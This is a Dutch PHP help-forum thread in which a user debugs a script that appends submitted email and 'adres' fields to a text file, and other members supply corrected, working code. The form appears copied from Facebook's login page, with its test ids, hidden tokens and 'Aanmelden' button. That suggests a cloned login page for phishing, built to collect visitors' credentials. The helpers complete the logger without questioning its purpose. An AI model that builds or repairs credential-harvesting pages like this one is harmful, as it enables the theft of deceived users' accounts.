als ik de name bij invoeg werkt die ook niet
<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" name="submit" type="submit" id="u_0_2" /></label></td></tr>
<?php
if(isset($_POST['submit'])) {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = 'Email: '.$_POST['email'].'\n'.'adres: '.$_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
echo $text;
fclose($fhandler);
}
?>
geprobeerd een echo uit te voeren maar krijg niks te zien
Link gekopieerd
- Ariën -
09-07-2019 18:37
gewijzigd op 09-07-2019 18:38
Waarom controleer je gewoon niet of er ge-POST is?
if($_SERVER['REQUEST_METHOD']=="POST") {
Let erop dat je form wel naar page2.php verwijst!
Link gekopieerd
Zo werkt het bij mij.
<?php
if( isset( $_POST['submit'] ) )
{
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = $_POST['email'] . "\n";
$text .= $_POST['adres'] . "\n";
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler);
}
?>
<form id="login_form" action="" method="post" novalidate="1">
<table cellspacing="0" role="presentation">
<tr>
<td><label for="email">E-mailadres</label></td>
<td><label for="adres">Adres</label></td>
</tr>
<tr>
<td>
<input type="email"name="email" id="email" />
</td>
<td>
<input type="adres" name="adres" id="adres" />
</td>
<td>
<label for="u_0_2"></label>
<input value="Aanmelden" name="submit" type="submit" id="u_0_2" /></td></tr>
</table>
</form>
Link gekopieerd
Ja dat klopt dat wil ik zelf dat die naar page2.php verwijst
ik heb nu dit maar nog steeds geen resultaat
<?php
if(isset($_POST['submit'])) {
if($_SERVER['REQUEST_METHOD']=="POST") {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = 'Email: '.$_POST['email'].'\n'.'adres: '.$_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler);
}
}
?>
heeft het wellicht met het html formulier te maken?
<form id="login_form" action="<?php $_PHP_SELF ?>" method="post" novalidate="1" onsubmit="">
<input type="hidden" name="jazoest" value="2684" autocomplete="off" />
<input type="hidden" name="lsd" value="AVoQcVLP" autocomplete="off" />
<table cellspacing="0" role="presentation"><tr><td class="html7magic">
<label for="email">E-mailadres of telefoonnummer</label></td>
<td class="html7magic"><label for="adres">Adres</label></td></tr>
<tr><td><input type="email" class="inputtext" name="email" id="email" data-testid="royal_email" /></td><td>
<input type="adres" class="inputtext" name="adres" id="adres" data-testid="royal_adres" /></td><td>
<label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_2">
<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" name="submit" type="submit" id="u_0_2" /></label></td></tr>
Link gekopieerd
- Ariën -
09-07-2019 18:56
gewijzigd op 09-07-2019 19:05
$_PHP_SELF waar komt dat dan vandaan?
En waarom een dubbele if? Je kan het ook combineren in één voorwaarde.
Link gekopieerd
Dat had ik net even geprobeerd dacht misschien werkt het dan wel maar heb het al weggehaald.
Link gekopieerd
- Ariën -
09-07-2019 19:06
gewijzigd op 09-07-2019 19:07
En waarom een dubbele if? Je kan het ook combineren in één voorwaarde.
Kan je het script niet op page2.php inbouwen? Dat verwees je eerder al heen.
Link gekopieerd
Page2.php verwijs ik door naar een andere pagina
maar het raar er van is dat die de post method niet opslaat in het txt bestandje
Link gekopieerd
Omdat hij eerst naar page2.php verwijst?
Dus handel het daarin af?
Link gekopieerd
Heb je al gekeken of het bestand
uberhaupt bestaat en
schrijfbaar is?
Het lijkt mij trouwens geen goed plan om dit soort bestanden in de publieke webdirectory te laten slingeren. Ik zou dus ook op zijn minst een pad verwachten naar buiten de webdir.
Link gekopieerd